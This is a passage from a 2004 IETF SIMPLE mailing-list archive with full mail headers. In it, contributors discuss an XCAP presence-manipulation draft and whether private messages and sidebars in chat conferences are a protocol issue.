	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 18:46:45 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL,HTML_MESSAGE autolearn=no 
	version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400B9.00561DD0
Content-Type: text/plain;
	charset="iso-8859-1"


Hi Markus,

I have some comments on your draft:

1) Although you indicate that this should be used only for hard states, what is there to prevent users from manipulating other presence states in there through XCAP.

2) XCAP is meant to be used for documents that are created to take advantage of the defined XCAP rules for HTTP URI creation. Which XML presence documents in particular are you proposing that they get manipulated by XCAP.  
How do you ensure that the current XCAP rules are suffiicient for the purpose you have in mind. I also doubt that you can use the current XML presence documents (PIDF and extensions) for XCAP purposes as is. For example, should there not be the element mandatory-ns, in there, as per the XCAP framework.

3) Is this template meant to be a generic template to be used by all applications that want to use XCAP.

4) Finally, I believe that there are other, out-of-band means, to accomplish your goals, i.e. manipulate hard states, without the unwarranted complexities that the draft creates. Thus, there must be explicit references in the draft to that fact.  

/gf
Ericsson Canada
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

------_=_NextPart_001_01C400B9.00561DD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; charset=3Diso-885=
9-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version 5.5.2655.3=
5">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT FACE=3D"Times New Roman">Hi Markus,</FONT>
</P>

<P><FONT FACE=3D"Times New Roman">I have some comments on your draft:</FO=
NT>
</P>

<P><FONT FACE=3D"Times New Roman">1) Although you indicate that this shou=
ld be used only for hard states, what is there to prevent users from mani=
pulating other presence states in there through XCAP.</FONT></P>

<P><FONT FACE=3D"Times New Roman">2) XCAP is meant to be used for documen=
ts that are created to take advantage of the defined XCAP rules for HTTP =
URI creation. Which XML presence documents in particular are you proposin=
g that they get manipulated by XCAP.&nbsp; </FONT></P>

<P><FONT FACE=3D"Times New Roman">How do you ensure that the current XCAP=
 rules are suffiicient for the purpose you have in mind. I also doubt tha=
t you can use the current XML presence documents (PIDF and extensions) fo=
r XCAP purposes as is. For example, should there not be the element manda=
tory-ns, in there, as per the XCAP framework.</FONT></P>

<P><FONT FACE=3D"Times New Roman">3) Is this template meant to be a gener=
ic template to be used by all applications that want to use XCAP.</FONT>
</P>

<P><FONT FACE=3D"Times New Roman">4) Finally, I believe that there are ot=
her, out-of-band means, to accomplish your goals, i.e. manipulate hard st=
ates, without the unwarranted complexities that the draft creates. Thus, =
there must be explicit references in the draft to that fact.&nbsp; </FONT=
></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">/gf</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ericsson Canada</FONT>
</P>

 <br><br>This communication is confidential and intended solely for the a=
ddressee(s). Any unauthorized review, use, disclosure or distribution is =
prohibited. If you believe this message has been sent to you in error, pl=
ease notify the sender by replying to this transmission and delete the me=
ssage without disclosing it. Thank you.<br><br>E-mail including attachmen=
ts is susceptible to data corruption, interruption, unauthorized amendmen=
t, tampering and viruses, and we only send and receive e-mails on the bas=
is that we are not liable for any such corruption, interception, amendmen=
t, tampering or viruses or any consequences thereof.</BODY>
</HTML>=

------_=_NextPart_001_01C400B9.00561DD0--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 20:14:09 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16876
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 20:14:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxd-0004QR-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:14:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKvI-0003nF-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:11:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKti-0003X4-00; Tue, 02 Mar 2004 20:10:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKtf-0007VK-DA; Tue, 02 Mar 2004 20:10:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKtY-0007Sv-6L
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:09:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16532
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:09:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKtW-0003Uk-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:09:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKsa-0003M4-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:08:56 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKrd-0002zk-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:07:57 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i23178aZ020119;
	Tue, 2 Mar 2004 20:07:08 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA01456;
	Tue, 2 Mar 2004 20:07:08 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Z6JS>; Tue, 2 Mar 2004 20:07:08 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B648B@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        "Niemi Aki (Nokia-M/Espoo)"
	 <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        hisham.khartabil@nokia.com, Miguel.An.Garcia@nokia.com,
        "'simple@ietf.org'" <simple@ietf.org>
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 20:07:01 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

How are we going to resolve this?

Most of us are here.  Can we get together?

Brian

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Tuesday, March 02, 2004 6:44 PM
> To: Niemi Aki (Nokia-M/Espoo)
> Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
> Markus.Isomaki@nokia.com;
> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> 
> 
> Niemi Aki (Nokia-M/Espoo) wrote:
> > 
> >>> Of course you can't do private messages with voice. Voice 
> and IM are 
> >>> inherently different. You can't send private voice 
> packets to another 
> >>> participant of a conference, simply because there isn't a way to 
> >>> single out a participant in a conference by directly addressing 
> >>> packets there. It also makes mixing really complicated, because a 
> >>> private voice stream might overlap with the rest of the 
> conference. 
> >>> These don't present a problem for IM; the sender can 
> single out the 
> >>> recipient using the cpim To header field and the recipient UA can 
> >>> simply mark a message as private and render it to the 
> same UI as the 
> >>> rest of the IMs in that conference.
> >>
> >> I protest.  There is no logical difference.  There is no protocol
> >> difference.  In most cases, there is no practical difference.  You
> >> send media to some address, you get media from some address.  You
> >> render it.  IM or voice or video is all just media, and its handled
> >> the same way.  You might have "centralized" or 
> "distributed" mixers.
> >> Most IM systems, as implemented, are centralized mixers.  You send
> >> all media to the mixer, it sends media to you.  There is nothing
> >> special with IM.  You need some signaling for a private message.
> >> You can use the same signaling for a sidebar or a whisper.
> > 
> > Hmm.. which systems are these? The ones I've used have both private 
> > messages *and* sidebars.
> 
> It seems that in principle the difference between sidebars 
> and private 
> messages is simply one of UI design. A particular client 
> could support 
> one or the other, or both.
> 
> But you also seem to require that the initiator be able to 
> choose which 
> user experience the recipients will have. That turns it into 
> a protocol 
> issue. In general I would consider this a bad idea. But it is 
> largely a 
> human factors issue, and I don't feel qualified to comment on 
> it except 
> from the perspective of personal preference. But it seems that whole 
> discussion hinges on whether there is a valid requirement for giving 
> senders that degree of control over recipients.
> 
> 	Paul
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 20:14:46 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17077
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 20:14:46 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxj-0004si-V9
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 20:14:18 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i231EEf2018412
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 20:14:14 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKxf-0004cb-TD
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 20:14:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16877
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 20:14:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKxd-0004QX-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:14:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKvJ-0003nN-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 20:11:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKti-0003X4-00; Tue, 02 Mar 2004 20:10:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKtf-0007VK-DA; Tue, 02 Mar 2004 20:10:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyKtY-0007Sv-6L
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:09:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16532
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:09:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKtW-0003Uk-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:09:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyKsa-0003M4-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:08:56 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyKrd-0002zk-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:07:57 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i23178aZ020119;
	Tue, 2 Mar 2004 20:07:08 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA01456;
	Tue, 2 Mar 2004 20:07:08 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Z6JS>; Tue, 2 Mar 2004 20:07:08 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B648B@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        "Niemi Aki (Nokia-M/Espoo)"
	 <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        hisham.khartabil@nokia.com, Miguel.An.Garcia@nokia.com,
        "'simple@ietf.org'" <simple@ietf.org>
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 20:07:01 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

How are we going to resolve this?

Most of us are here.  Can we get together?

Brian

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Tuesday, March 02, 2004 6:44 PM
> To: Niemi Aki (Nokia-M/Espoo)
> Cc: ext Rosen, Brian; ext Jonathan Rosenberg; 
> Markus.Isomaki@nokia.com;
> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> 
> 
> Niemi Aki (Nokia-M/Espoo) wrote:
> > 
> >>> Of course you can't do private messages with voice. Voice 
> and IM are 
> >>> inherently different. You can't send private voice 
> packets to another 
> >>> participant of a conference, simply because there isn't a way to 
> >>> single out a participant in a conference by directly addressing 
> >>> packets there. It also makes mixing really complicated, because a 
> >>> private voice stream might overlap with the rest of the 
> conference. 
> >>> These don't present a problem for IM; the sender can 
> single out the 
> >>> recipient using the cpim To header field and the recipient UA can 
> >>> simply mark a message as private and render it to the 
> same UI as the 
> >>> rest of the IMs in that conference.
> >>
> >> I protest.  There is no logical difference.  There is no protocol
> >> difference.  In most cases, there is no practical difference.  You
> >> send media to some address, you get media from some address.  You
> >> render it.  IM or voice or video is all just media, and its handled
> >> the same way.  You might have "centralized" or 
> "distributed" mixers.
> >> Most IM systems, as implemented, are centralized mixers.  You send
> >> all media to the mixer, it sends media to you.  There is nothing
> >> special with IM.  You need some signaling for a private message.
> >> You can use the same signaling for a sidebar or a whisper.
> > 
> > Hmm.. which systems are these? The ones I've used have both private 
> > messages *and* sidebars.
> 
> It seems that in principle the difference between sidebars 
> and private 
> messages is simply one of UI design. A particular client 
> could support 
> one or the other, or both.
> 
> But you also seem to require that the initiator be able to 
> choose which 
> user experience the recipients will have. That turns it into 
> a protocol 
> issue. In general I would consider this a bad idea. But it is 
> largely a 
> human factors issue, and I don't feel qualified to comment on 
> it except 
> from the perspective of personal preference. But it seems that whole 
> discussion hinges on whether there is a valid requirement for giving 
> senders that degree of control over recipients.
> 
> 	Paul
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 20:32:47 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18036
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 20:32:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLFf-0007PU-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:32:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyLE8-000740-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 20:31:13 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyLCz-0006sd-00; Tue, 02 Mar 2004 20:30:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyL8H-0007Zk-VI; Tue, 02 Mar 2004 20:25:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL8A-0006Bj-W5; Tue, 02 Mar 2004 20:25:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyL84-00069m-3r
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 20:24:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA17797
	for <simple@ietf.org>; Tue, 2 Mar 2004 20:24:53 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyL81-0006EQ-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:24:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyL73-000682-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:23:54 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyL6m-00061w-00
	for simple@ietf.org; Tue, 02 Mar 2004 20:23:36 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231NaS16208;
	Wed, 3 Mar 2004 03:23:36 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 03:23:34 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i231NYoC011304;
	Wed, 3 Mar 2004 03:23:34 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00yyNdfn; Wed, 03 Mar 2004 03:23:33 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i231NX716248;
	Wed, 3 Mar 2004 03:23:33 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 03:23:31 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400BE.247CC93B"
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A36F@esebe018.ntc.nokia.com>
Thread-Topic: Comments on draft-isomaki-simple-xcap-publish-usage-00
Thread-Index: AcQAuUzVZkCMOxxhRMaNytt24+iVlQAABi2A
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 01:23:31.0942 (UTC) FILETIME=[23E82860:01C400BE]
Subject: [Simple] RE: Comments on draft-isomaki-simple-xcap-publish-usage-00
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 03:23:32 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_20_30,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400BE.247CC93B
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi George,
=20
First of all, the document you are referring to has been updated with =
this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt
=20
I'll submit the WG version shortly after the meeting. The changes =
compared to the version you read are mainly clarifications, so I think =
your comments would apply to the new draft as well. My anwers to each =
point below:
=20
1) XCAP operations are hard state by nature, no refreshing is needed, so =
this is inherently hard state manipulation.=20
2) The default model I have in mind is that each presentity would have =
exactly one persistent device-independent presence document that would =
be manipulated by XCAP. That would be fed to the composition logic to =
complement the PUA/device-specific documents published using SIP PUBLISH =
mechanism.
XCAP is meant to be a generic XML-manipulation mechanism, so there =
should be nothing specific in this application usage. Once the base XCAP =
is finished, we'll see what the exact mechanisms to mandate supported =
namespaces are, and we'll adopt that convention in this draft too. This =
is probably still changing from xcap-02 draft, as was discussed in =
SIMPLE session.=20
3) I'm not sure if I understood the question. This is not a template for =
any applications that want to use XCAP, this is standardizing how XCAP =
is used to manipulate PIDF-formatted presence documents. As there is no =
computed data or anything, I guess an app usage for any XML doc would be =
quite similar to this one.
4) Surely there are many ways to manipulate PIDF documents. However, in =
context of SIMPLE, XCAP is a natural choice since it's needed already in =
any advanced presence-capable device. Could you explain what kind of =
complexities you mean? This is as simple an XCAP usage as there can be. =
Are you saying that XCAP in itself is complex? A more simple way would =
be to use just normal HTTP PUT and DELETE, but since we have XCAP at our =
disposal, why not use it.
=20
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20

I have some comments on your draft:=20

1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

3) Is this template meant to be a generic template to be used by all =
applications that want to use XCAP.=20

4) Finally, I believe that there are other, out-of-band means, to =
accomplish your goals, i.e. manipulate hard states, without the =
unwarranted complexities that the draft creates. Thus, there must be =
explicit references in the draft to that fact. =20

/gf=20
Ericsson Canada=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20


------_=_NextPart_001_01C400BE.247CC93B
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>Hi=20
George,</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>First=20
of all, the document you are referring to has been updated with this=20
one:</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2><A=20
href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>I'll=20
submit the WG version shortly after the meeting. The changes compared to =
the=20
version you&nbsp;read&nbsp;are mainly clarifications, so I think your =
comments=20
would apply to the new draft as well. My anwers to each point=20
below:</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>1)=20
XCAP operations are hard state by nature, no refreshing is needed, so =
this is=20
inherently hard state manipulation. </FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>2) The=20
default model I have in mind is that each presentity would have exactly =
one=20
persistent device-independent presence document that would be =
manipulated by=20
XCAP. That would be fed to the composition logic to complement the=20
PUA/device-specific documents published using SIP PUBLISH=20
mechanism.</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>XCAP=20
is meant to be a generic XML-manipulation mechanism, so there should be =
nothing=20
specific in this application usage. Once the base XCAP is finished, =
we'll see=20
what the exact mechanisms to mandate supported namespaces are, and we'll =
adopt=20
that convention in this draft too. This is probably still changing from =
xcap-02=20
draft, as was discussed in SIMPLE session. </FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>3) I'm=20
not sure if I&nbsp;understood the question. This is not a template for =
any=20
applications that want to use XCAP, this is standardizing how XCAP is =
used to=20
manipulate PIDF-formatted presence documents. As there is no computed =
data or=20
anything, I guess an app usage for any XML doc would be quite similar to =
this=20
one.</FONT></SPAN></DIV>
<DIV><SPAN class=3D902344900-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>4)=20
Surely there are many ways to manipulate PIDF documents. However, in =
context of=20
SIMPLE, XCAP is a natural choice since it's needed already in any =
